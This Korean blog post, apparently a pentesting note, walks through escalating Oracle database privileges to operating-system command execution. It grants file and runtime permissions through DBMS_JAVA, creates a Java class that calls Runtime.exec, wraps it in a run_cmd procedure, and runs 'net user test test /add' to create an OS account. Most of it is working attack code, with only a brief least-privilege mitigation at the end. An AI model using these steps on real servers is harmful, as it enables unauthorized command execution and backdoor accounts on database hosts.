권한 상승 과정
전제조건 및 NOTE
- 다음의 명령어를 실행시킬 DB 사용자가 최소한 JAVA_ADMIN과 CREATE PROCEDURE 권한을 가지고 있어야함 (DBA 권한 가지고 있으면 가능)
- ORACLE 8i 이상에서만 실행 가능
- Oracle Express Edition에서도 실행 불가 (DBMA_JAVA 기능이 없음)
- 새로운 사용자를 생성해서 다음의 과정을 실행하는 경우, 각각의 명령어에 대한 삭제 과정은 필요없이 DROP USER TESTEST(계정명) cascade; 하면 전부 삭제 가능
- 각 명령어 실행시 '/' 가 있어야 명령어 종료 및 실행 가능
상세 과정 및 설명
0) 사용자의 권한 확인
- select * from DBA_SYS_PRIVS where grantee='testest';
- select * from DBA_JAVA_POLICY where grantee='testest';
1) PL / SQL 사용하여 권한 설정 변경 ** JAVA_ADMIN권한 없으면 사용 불가 (DBMS_JAVA package에 대한 권한 부여가 가능한 권한)
- DBMS_JAVA 사용관련 권한 설명 - https://www.experts-exchange.com/questions/24604377/dbms-java-grant-permission-has-errors.html
※ DBA 권한 부여 => GRANT DBA TO TESTEST(USER); -> 권한 확인 시 UNLIMITED TABLESPACE 권한 존재
※ JAVA_ADMIN 권한 부여 => GRANT JAVA_ADMIN TO TESTEST(USER);
** TESTEST에는 사용자 계정 입력DECLAREl_schema VARCHAR2(30) := 'TESTEST';BEGINDBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');END;/- https://docs.oracle.com/javase/7/docs/api/java/io/FilePermission.html- https://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html** CMD 명령어 실행만을 원하는 경우,DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'execute'); 권한만!! (다른권한 필요x)
- 명령어 정상 적용 확인
- SELECT * FROM dba_java_policy;
- SELECT * FROM dba_java_policy where grantee='TESTEST';
- 공격 종료 후 부여한 권한 삭제 (**괄호 안 숫자는 SEQ# (KEY));
BEGINDBMS_JAVA.disable_permission(191);DBMS_JAVA.delete_permission(191);DBMS_JAVA.disable_permission(192);DBMS_JAVA.delete_permission(192);DBMS_JAVA.disable_permission(193);DBMS_JAVA.delete_permission(193);END;/
2) 오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성
** CREATE PROCEDURE 권한 필요! / 다른사용자의 스키마 수정을 원하면 CREATE ANY PROCEDURE 권한 필요
------------------------------------------------------------------------------------------------------------------------
PL/SQL에서 자바(Java) 클래스(Class), 함수 실행방법
오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성, 실행이 가능함
-> JAVA클래스 생성 코드
** REPLACE는 원래 있는 코드를 대체하는 것이므로 처음 생성시에 굳이 없어도 됨.
-----------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "mycmd" ASimport java.lang.*;import java.io.*;public class mycmd{public static void execCommand (String command) throws IOException{Runtime.getRuntime().exec(command);}};/
- 생성 코드 확인
- 아래 쿼리 실행하면 생성한 object_name 존재 -> select object_name, object_id from user_objects;
-> SELECT * FROM all_source;
-> SELECT * FROM all_source where name='mycmd'
- 자신의 자바 스키마 object 생성확인 (create Java source로 생성한것) --> SELECT * FROM USER_SOURCE where type='JAVA SOURCE' ;
- 공격 종료 후 생성한 코드 삭제
- DROP JAVA SOURCE 'mycmd';
3) 프로시저 생성
--------------------------------------------------------------------------------------------------------------------------------
생성한 자바 클래스를 DB에서 실행할수 있는 방법 (함수로드 가능)
-> 프로시저에 run_cmd 생성
--------------------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE PROCEDURE run_cmd (p_command IN VARCHAR2)AS LANGUAGE JAVANAME 'mycmd.execCommand (java.lang.String)';/
- 공격 종료 후 생성한 프로시저 삭제
- DROP PROCEDURE RUN_CMD;
4) 명령어 실행!!
- exec run_cmd('net user test test /add');
대응책
- DB 운영 계정에게 DBA 권한을 부여하지 않는다.
- 사용자에게 꼭 필요한 최소 권한만을 부여!!
참고 URL
- https://www.adampalmer.me/iodigitalsec/2013/08/12/first-steps-in-oracle-penetration-testing/
- DBMS_JAVA 설명: http://www.dba-oracle.com/t_packages_dbms_java.htm
'Hacking > DB' 카테고리의 다른 글
[SQLi] Binary 코드를 이용한 Injection 우회 - MySQL (0) | 2018.03.14 |
---|---|
[SQLi] Mysql load_file injection (파일 다운로드 및 실행) (0) | 2018.03.12 |
[SQLi] magic_quotes_gpc, mysql_real_escape_string() 우회 (0) | 2018.02.06 |
[SQLi] SQL Injection 필터링 우회 (0) | 2018.02.06 |